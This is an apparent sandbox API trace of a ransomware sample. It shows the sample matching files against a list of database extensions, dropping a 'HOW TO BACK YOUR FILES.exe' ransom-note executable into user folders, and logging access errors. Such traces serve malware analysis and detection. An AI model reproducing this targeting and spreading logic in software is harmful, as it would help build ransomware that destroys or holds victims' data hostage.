	[0036.988] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.988] lstrlenW (lpString="accdb") returned 5
	[0036.988] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.988] lstrlenW (lpString="accdc") returned 5
	[0036.988] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.988] lstrlenW (lpString="accde") returned 5
	[0036.988] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.988] lstrlenW (lpString="accdr") returned 5
	[0036.989] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.989] lstrlenW (lpString="accdt") returned 5
	[0036.989] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.989] lstrlenW (lpString="accdw") returned 5
	[0036.989] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.989] lstrlenW (lpString="accft") returned 5
	[0036.989] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.989] lstrlenW (lpString="adb") returned 3
	[0036.989] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.989] lstrlenW (lpString="adb") returned 3
	[0036.989] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.989] lstrlenW (lpString="ade") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.990] lstrlenW (lpString="adf") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.990] lstrlenW (lpString="adn") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.990] lstrlenW (lpString="adp") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.990] lstrlenW (lpString="alf") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.990] lstrlenW (lpString="ask") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.990] lstrlenW (lpString="btr") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.990] lstrlenW (lpString="cat") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.990] lstrlenW (lpString="cdb") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.990] lstrlenW (lpString="ckp") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.990] lstrlenW (lpString="cma") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.990] lstrlenW (lpString="cpd") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.990] lstrlenW (lpString="dacpac") returned 6
	[0036.990] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.990] lstrlenW (lpString="dad") returned 3
	[0036.990] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.990] lstrlenW (lpString="dadiagrams") returned 10
	[0036.990] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.990] lstrlenW (lpString="daschema") returned 8
	[0036.990] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.990] lstrlenW (lpString="db-journal") returned 10
	[0036.990] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.990] lstrlenW (lpString="db-shm") returned 6
	[0036.990] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.990] lstrlenW (lpString="db-wal") returned 6
	[0036.990] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.991] lstrlenW (lpString="dbc") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.991] lstrlenW (lpString="dbs") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.991] lstrlenW (lpString="dbt") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.991] lstrlenW (lpString="dbv") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.991] lstrlenW (lpString="dbx") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.991] lstrlenW (lpString="dcb") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.991] lstrlenW (lpString="dct") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.991] lstrlenW (lpString="dcx") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.991] lstrlenW (lpString="ddl") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.991] lstrlenW (lpString="dlis") returned 4
	[0036.991] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.991] lstrlenW (lpString="dp1") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.991] lstrlenW (lpString="dqy") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.991] lstrlenW (lpString="dsk") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.991] lstrlenW (lpString="dsn") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.991] lstrlenW (lpString="dtsx") returned 4
	[0036.991] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.991] lstrlenW (lpString="dxl") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.991] lstrlenW (lpString="eco") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.991] lstrlenW (lpString="ecx") returned 3
	[0036.991] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.991] lstrlenW (lpString="edb") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.992] lstrlenW (lpString="epim") returned 4
	[0036.992] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.992] lstrlenW (lpString="fcd") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.992] lstrlenW (lpString="fdb") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.992] lstrlenW (lpString="fic") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.992] lstrlenW (lpString="flexolibrary") returned 12
	[0036.992] lstrlenW (lpString="fm5") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.992] lstrlenW (lpString="fmp") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.992] lstrlenW (lpString="fmp12") returned 5
	[0036.992] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.992] lstrlenW (lpString="fmpsl") returned 5
	[0036.992] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.992] lstrlenW (lpString="fol") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.992] lstrlenW (lpString="fp3") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.992] lstrlenW (lpString="fp4") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.992] lstrlenW (lpString="fp5") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.992] lstrlenW (lpString="fp7") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.992] lstrlenW (lpString="fpt") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.992] lstrlenW (lpString="frm") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.992] lstrlenW (lpString="gdb") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.992] lstrlenW (lpString="gdb") returned 3
	[0036.992] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.992] lstrlenW (lpString="grdb") returned 4
	[0036.992] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.993] lstrlenW (lpString="gwi") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.993] lstrlenW (lpString="hdb") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.993] lstrlenW (lpString="his") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.993] lstrlenW (lpString="ib") returned 2
	[0036.993] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.993] lstrlenW (lpString="idb") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.993] lstrlenW (lpString="ihx") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.993] lstrlenW (lpString="itdb") returned 4
	[0036.993] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.993] lstrlenW (lpString="itw") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.993] lstrlenW (lpString="jet") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.993] lstrlenW (lpString="jtx") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.993] lstrlenW (lpString="kdb") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.993] lstrlenW (lpString="kexi") returned 4
	[0036.993] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.993] lstrlenW (lpString="kexic") returned 5
	[0036.993] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.993] lstrlenW (lpString="kexis") returned 5
	[0036.993] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.993] lstrlenW (lpString="lgc") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.993] lstrlenW (lpString="lwx") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.993] lstrlenW (lpString="maf") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.993] lstrlenW (lpString="maq") returned 3
	[0036.993] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.994] lstrlenW (lpString="mar") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.994] lstrlenW (lpString="marshal") returned 7
	[0036.994] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.994] lstrlenW (lpString="mas") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.994] lstrlenW (lpString="mav") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.994] lstrlenW (lpString="maw") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.994] lstrlenW (lpString="mdbhtml") returned 7
	[0036.994] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.994] lstrlenW (lpString="mdn") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.994] lstrlenW (lpString="mdt") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.994] lstrlenW (lpString="mfd") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.994] lstrlenW (lpString="mpd") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.994] lstrlenW (lpString="mrg") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.994] lstrlenW (lpString="mud") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.994] lstrlenW (lpString="mwb") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.994] lstrlenW (lpString="myd") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.994] lstrlenW (lpString="ndf") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.994] lstrlenW (lpString="nnt") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.994] lstrlenW (lpString="nrmlib") returned 6
	[0036.994] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.994] lstrlenW (lpString="ns2") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.994] lstrlenW (lpString="ns3") returned 3
	[0036.994] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.995] lstrlenW (lpString="ns4") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.995] lstrlenW (lpString="nsf") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.995] lstrlenW (lpString="nv") returned 2
	[0036.995] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.995] lstrlenW (lpString="nv2") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.995] lstrlenW (lpString="nwdb") returned 4
	[0036.995] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.995] lstrlenW (lpString="nyf") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.995] lstrlenW (lpString="odb") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.995] lstrlenW (lpString="odb") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.995] lstrlenW (lpString="oqy") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.995] lstrlenW (lpString="ora") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.995] lstrlenW (lpString="orx") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.995] lstrlenW (lpString="owc") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.995] lstrlenW (lpString="p96") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.995] lstrlenW (lpString="p97") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.995] lstrlenW (lpString="pan") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.995] lstrlenW (lpString="pdb") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.995] lstrlenW (lpString="pdm") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.995] lstrlenW (lpString="pnz") returned 3
	[0036.995] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.995] lstrlenW (lpString="qry") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.996] lstrlenW (lpString="qvd") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.996] lstrlenW (lpString="rbf") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.996] lstrlenW (lpString="rctd") returned 4
	[0036.996] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.996] lstrlenW (lpString="rod") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.996] lstrlenW (lpString="rodx") returned 4
	[0036.996] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.996] lstrlenW (lpString="rpd") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.996] lstrlenW (lpString="rsd") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.996] lstrlenW (lpString="sas7bdat") returned 8
	[0036.996] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.996] lstrlenW (lpString="sbf") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.996] lstrlenW (lpString="scx") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.996] lstrlenW (lpString="sdb") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.996] lstrlenW (lpString="sdc") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.996] lstrlenW (lpString="sdf") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.996] lstrlenW (lpString="sis") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.996] lstrlenW (lpString="spq") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.996] lstrlenW (lpString="te") returned 2
	[0036.996] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.996] lstrlenW (lpString="teacher") returned 7
	[0036.996] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.996] lstrlenW (lpString="tmd") returned 3
	[0036.996] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.997] lstrlenW (lpString="tps") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.997] lstrlenW (lpString="trc") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.997] lstrlenW (lpString="trc") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.997] lstrlenW (lpString="trm") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.997] lstrlenW (lpString="udb") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.997] lstrlenW (lpString="udl") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.997] lstrlenW (lpString="usr") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.997] lstrlenW (lpString="v12") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.997] lstrlenW (lpString="vis") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.997] lstrlenW (lpString="vpd") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.997] lstrlenW (lpString="vvv") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.997] lstrlenW (lpString="wdb") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.997] lstrlenW (lpString="wmdb") returned 4
	[0036.997] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.997] lstrlenW (lpString="wrk") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.997] lstrlenW (lpString="xdb") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.997] lstrlenW (lpString="xld") returned 3
	[0036.997] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.997] lstrlenW (lpString="xmlff") returned 5
	[0036.997] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.997] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e353c70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.997] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.997] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e353c70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0036.998] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0036.998] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0036.998] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Cookies", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies"
	[0036.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca1d0 | out: hHeap=0x580000) returned 1
	[0036.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0036.998] lstrlenW (lpString="C:\\Users\\Default\\Cookies") returned 24
	[0036.998] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies"
	[0036.998] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.998] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.002] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.002] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e353c70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0037.002] GetLastError () returned 0x5
	[0037.002] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Cookies\\* FindFirstFile error 5\r\n") returned 58
	[0037.002] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Cookies\\* FindFirstFile error 5\r\n") returned 58
	[0037.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0037.002] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x803
	[0037.003] WriteFile (in: hFile=0x11c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3a, lpOverlapped=0x0) returned 1
	[0037.003] CloseHandle (hObject=0x11c) returned 1
	[0037.005] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0037.005] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Contacts", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts"
	[0037.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca190 | out: hHeap=0x580000) returned 1
	[0037.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0037.005] lstrlenW (lpString="C:\\Users\\Default\\Contacts") returned 25
	[0037.005] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Contacts" | out: lpString1="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts"
	[0037.005] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.005] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.009] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.009] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0037.009] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.009] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.009] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.009] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.009] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.009] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.009] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.009] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.009] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1
	[0037.009] lstrcmpiW (lpString1="Administrator.contact", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.009] lstrcmpiW (lpString1="Administrator.contact", lpString2="Apollon865.txt.exe") returned -1
	[0037.010] lstrcmpiW (lpString1="Administrator.contact", lpString2=".") returned 1
